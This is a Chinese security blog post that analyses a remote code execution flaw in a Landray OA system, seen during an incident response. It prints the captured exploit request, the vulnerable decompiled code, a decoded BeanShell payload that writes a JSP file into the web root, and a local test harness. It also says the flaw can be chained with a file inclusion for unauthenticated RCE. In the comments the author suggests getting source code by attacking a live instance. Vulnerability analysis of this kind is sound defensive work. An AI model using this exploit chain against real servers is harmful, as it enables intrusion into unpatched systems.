HVV行动之某OA流量应急(二)

HVV行动之某OA流量应急(一):
https://www.anquanke.com/post/id/239865

蹭一波水哥的热度 OA还得看水系群友。

Author: Yuanhai@Pentes7eam

某凌OA任意代码执行

先看一下捕获到的POC:

/sys/common/dataxml.jsp?s_bean=sysFormulaValidate&script=<payload>&type=int&modelName=test

漏洞出现在/sys/common/dataxml.jsp下。

同样类型还有一个sys/common/datajson.jsp

代码:

<%@ page language="java" contentType="application/x-javascript; charset=UTF-8"    pageEncoding="UTF-8"%>
<%@ page errorPage="/resource/jsp/jsperror.jsp" %>
<%@ page import="org.springframework.context.ApplicationContext,
    org.springframework.web.context.support.WebApplicationContextUtils,
    com.landray.kmss.common.service.IXMLDataBean,
    com.landray.kmss.common.actions.RequestContext,
    com.landray.kmss.util.StringUtil,
    java.util.*
"%>

<%@page import="net.sf.json.JSONObject"%>
<%@page import="net.sf.json.JSONArray"%>
<% 
    response.setHeader("Cache-Control", "no-cache");
    response.setHeader("Pragma", "no-cache");
    response.setDateHeader("Expires", -1);
    
    ApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext());
    RequestContext requestInfo = new RequestContext(request);
    String[] beanList = request.getParameter("s_bean").split(";");
    IXMLDataBean treeBean;
    List result = null;    
    HashMap nodeMap;
    Object node;
    Object[] nodeList;
    Iterator attr;    
    for(int i=0; i<beanList.length; i++){
        treeBean = (IXMLDataBean) ctx.getBean(beanList[i]);
         result = treeBean.getDataList(requestInfo);
    if(result!=null){
    JSONArray jsonArray=new JSONArray();    
    for (Iterator iterator = result.iterator(); iterator.hasNext();) {
        node =  iterator.next();
        if(node instanceof HashMap){
            Map<String, Object> parseObj =(Map<String, Object>)node;
            JSONObject json=new JSONObject();    
        for(String key1 : parseObj.keySet()){
            Object value1=parseObj.get(key1);
            json.accumulate(key1, value1);
        }
        jsonArray.add(json);
      }else if(node instanceof Object[]){
            nodeList = (Object[])node;
            JSONObject json=new JSONObject();    
            for(int k=0; k<nodeList.length; k++){
                if(nodeList[k]!=null){
                    String key2 = "key"+k;
                    Object value2 = nodeList[k];
                    json.accumulate(key2, value2);
                }            
          }
            jsonArray.add(json);
       }else{
            if(node!=null){
                JSONObject json=new JSONObject();    
                String key3 = "key0";
                Object value3 = node;
                json.accumulate(key3, value3);
                jsonArray.add(json);
            }
       }
    }
    out.print(request.getParameter("jsoncallback")+"("+jsonArray.toString()+")");
  }
}
%>
request.getParameter("s_bean").split(";");

接收一个参数。s_bean,然后以;进行分割传给beanList.往下走,看程序是如何处理beanList的值。
累了.png
第27行中,循环beanList的值。传递给ctx.getBean()方法。到这里大概就明白了,beanList的值是beanId,后面通过getBean()实例化JavaBean

result = treeBean.getDataList(requestInfo);

treeBeanJavaBean实例化后的对象名。后调用getDataList方法。并传递一个RequestContext进去。

说白了就是任意Bean调用
但是必须含有getDataList方法且需实现IXMLDataBean接口

捕获到的数据流中,s_bean的值为sysFormulaValidate.根据配置文件。sysFormulaValidate所对应的类为com.landray.kmss.sys.formula.web.SysFormulaValidate
11.png
查看getDataList方法

public List getDataList(RequestContext requestInfo) throws Exception {
    List<Map<Object, Object>> rtnVal = new ArrayList();
    Map<Object, Object> node = new HashMap<Object, Object>();
    String msg = null;
    String confirm = null;
    try {
      String script = requestInfo.getParameter("script");
      String type = requestInfo.getParameter("returnType");
      String funcs = requestInfo.getParameter("funcs");
      String model = requestInfo.getParameter("model");
      FormulaParser parser = FormulaParser.getInstance(requestInfo, 
          new ValidateVarGetter(null), model);
      if (StringUtil.isNotNull(funcs)) {
        String[] funcArr = funcs.split(";");
        for (int i = 0; i < funcArr.length; i++)
          parser.addPropertiesFunc(funcArr[i]); 
      } 
      Object value = parser.parseValueScript(script, type);
      if (value == null) {
        msg = "validate.nullValue";
        confirm = "validate.confirm.nullValueConfirm";
        node.put("success", "0");
      } else {
        msg = "validate.success";
        node.put("success", "1");
      } 
    } catch (Exception e) {
      if (e instanceof com.landray.kmss.sys.metadata.exception.KmssUnExpectTypeException) {
        msg = "validate.failure.rtnTypeError";
        logger.debug(e);
        node.put("success", "-1");
      } else if (e instanceof com.landray.kmss.sys.formula.exception.EvalException) {
        msg = "validate.failure.evalError";
        confirm = "validate.failure.evalErrorConfirm";
        logger.debug(e);
        node.put("success", "0");
      } else {
        msg = "validate.failure";
        logger.error(e);
        node.put("success", "-1");
      } 
    } 
    node.put("message", 
        ResourceUtil.getString(msg, "sys-formula", requestInfo.getLocale()));
    if (confirm != null)
      node.put("confirm", 
          ResourceUtil.getString(confirm, "sys-formula", requestInfo.getLocale())); 
    rtnVal.add(node);
    return rtnVal;
  }
}

问题主要在于FormulaParser下的parseValueScript方法。

Object value = parser.parseValueScript(script, type);

image.png

public Object parseValueScript(String script) throws EvalException {
    if (StringUtil.isNull(script))
      return null; 
    Interpreter interpreter = new Interpreter();
    ClassLoader loader = Thread.currentThread().getContextClassLoader();
    try {
      if (loader != null)
        interpreter.setClassLoader(loader); 
      StringBuffer importPart = new StringBuffer();
      importPart.append("import ").append(
          OtherFunction.class.getPackage().getName()).append(
          ".*;\r\n");
      StringBuffer preparePart = new StringBuffer();
      StringBuffer leftScript = new StringBuffer();
      String rightScript = script.trim();
      Map<String, FunctionScript> funcScriptMap = new HashMap<String, FunctionScript>();
      for (int index = rightScript.indexOf("$"); index > -1; index = rightScript
        .indexOf("$")) {
        int nxtIndex = rightScript.indexOf("$", 
            index + 1);
        if (nxtIndex == -1)
          break; 
        String varName = rightScript.substring(index + 1, nxtIndex);
        leftScript.append(rightScript.substring(0, index));
        rightScript = rightScript.substring(nxtIndex + 1);
        if (rightScript.length() > 0 && rightScript.charAt(0) == '(') {
          FunctionScript funcScript = funcScriptMap.get(varName);
          if (funcScript == null)
            for (int i = 0; i < this.funcProviderList.size(); i++) {
              funcScript = ((IFormulaFuncProvider)this.funcProviderList.get(i))
                .getFunctionScript(varName);
              if (funcScript != null) {
                funcScriptMap.put(varName, funcScript);
                if (StringUtil.isNotNull(funcScript
                    .getPrepareScript()))
                  preparePart.append(
                      funcScript.getPrepareScript())
                    .append("\r\n"); 
                break;
              } 
            }  
          if (funcScript == null)
            throw new FuncNotFoundException(varName); 
          leftScript.append(funcScript.getFunctionScript());
        } else {
          leftScript.append("$").append(varName)
            .append("$");
          if (this.varProvider == null)
            throw new VarNotFoundException(varName); 
          Object value = this.varProvider.getValue(this.contextData, varName);
          interpreter.set("$" + varName + 
              "$", value);
        } 
      } 
      String m_script = String.valueOf(importPart.toString()) + preparePart.toString() + 
        leftScript + rightScript;
      if (logger.isDebugEnabled())
        logger.debug("+ m_script); 
      runningData.set(this.contextData);
      return interpreter.eval(m_script);
    } catch (TargetError targetError) {
      logger.error("+ script, (Throwable)targetError);
      throw new EvalException(targetError.getTarget());
    } catch (Exception e) {
      logger.error("+ script, e);
      throw new EvalException(e);
    } finally {
      runningData.remove();
      if (loader != null)
        interpreter.setClassLoader(null); 
    } 
  }
  

在方法中:

第二行就实例了interpreter对象

Interpreter interpreter = new Interpreter();

看到这一串,基本就可以确定是代码执行了,就是Bsh,(泛微,用友都爆过类似的),只需要寻找eval()方法,看看执行的内容。
image (3).png

向上回溯m_script变量。

String m_script = String.valueOf(importPart.toString()) + preparePart.toString() + 
        leftScript + rightScript;

m_script是由importPart,preparePart,leftScript,rightScript.4个变量的值拼接而成。

回到getDataList中:
接收4个变量script,returnType,funcs,model

String script = requestInfo.getParameter("script");
String type = requestInfo.getParameter("returnType");
String funcs = requestInfo.getParameter("funcs");
String model = requestInfo.getParameter("model");

在下面调用parseValueScript中,只需要scripttype.这里script是可控的。

在for循环中,只要script中不出现$符号。就可以跳过部分截断,致使preparePartleftScript的内容为空,后面就是直接带入rightScript=script执行.导致任意代码执行

for (int index = rightScript.indexOf("$"); index > -1; index = rightScript
        .indexOf("$")) {

看了下捕获到的POC:
image (1).png
解码后的内容就是:

import java.lang.*;
import java.io.*;Class cls=Thread.currentThread().getContextClassLoader().loadClass("bsh.Interpreter");
String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();
File f=new File(path.split("WEB-INF")[0]+"/loginx.jsp");
f.createNewFile();
FileOutputStream fout=new FileOutputStream(f);
fout.write(new sun.misc.BASE64Decoder().decodeBuffer("aGVsbG8="));
fout.close()

大概意思就是。先加载bsh.Interpreter.在获取当前类所在的路径。然后以WEB-INF进行分割。取第一个值(也就是网站根目录)。在下面创建一个loginx.jsp.然后写入内容。

访问loginx.jsp并不会302,因为其白名单中存在login*.jsp

简化一下:本地跑一遍

import bsh.EvalError;
import bsh.Interpreter;

import java.util.HashMap;
import java.util.Map;

public class main {
    public static void main(String[] args) throws EvalError, ClassNotFoundException {
        Interpreter interpreter=new Interpreter();
        String payload="import java.lang.*;\n" +
                "import java.io.*; "+
                "File f=new File(\"/Users/yuanhai/Desktop/test/test/1.txt\");\n" +
                "f.createNewFile();\n" +
                "FileOutputStream fout=new FileOutputStream(f);\n" +
                "fout.write(new sun.misc.BASE64Decoder().decodeBuffer(\"aGVsbG8=\"));\n"+
                "fout.close()";
        interpreter.eval(payload);


    }

}

image (4).png

其实这个洞是后台的,需要已登陆账户去调用才可。

但是结合先前的文件包含:
/sys/ui/extend/varkind/custom.jsp可以打前台RCE。

厂商已发布版本补丁完成修复,建议用户尽快更新至最新版本

本文链接:

https://websecuritys.cn/index.php/archives/432/
1 + 5 =
3 评论
    PnllllChrome 91OSX
    2021年06月17日 回复

    请教一下师傅这类OA的源码都是在哪里找的呢?一般在官网申请试用的话会比较麻烦,网上的破解版也大多是捆绑程序。

      yuanhaiChrome 91OSX
      2021年06月18日 回复

      @Pnllll 黑盒打一个,然后扒下来。有破解版安装过后拿了源码卸载就行

        PnllllChrome 91OSX
        2021年06月18日 回复

        @yuanhai 感谢师傅指点。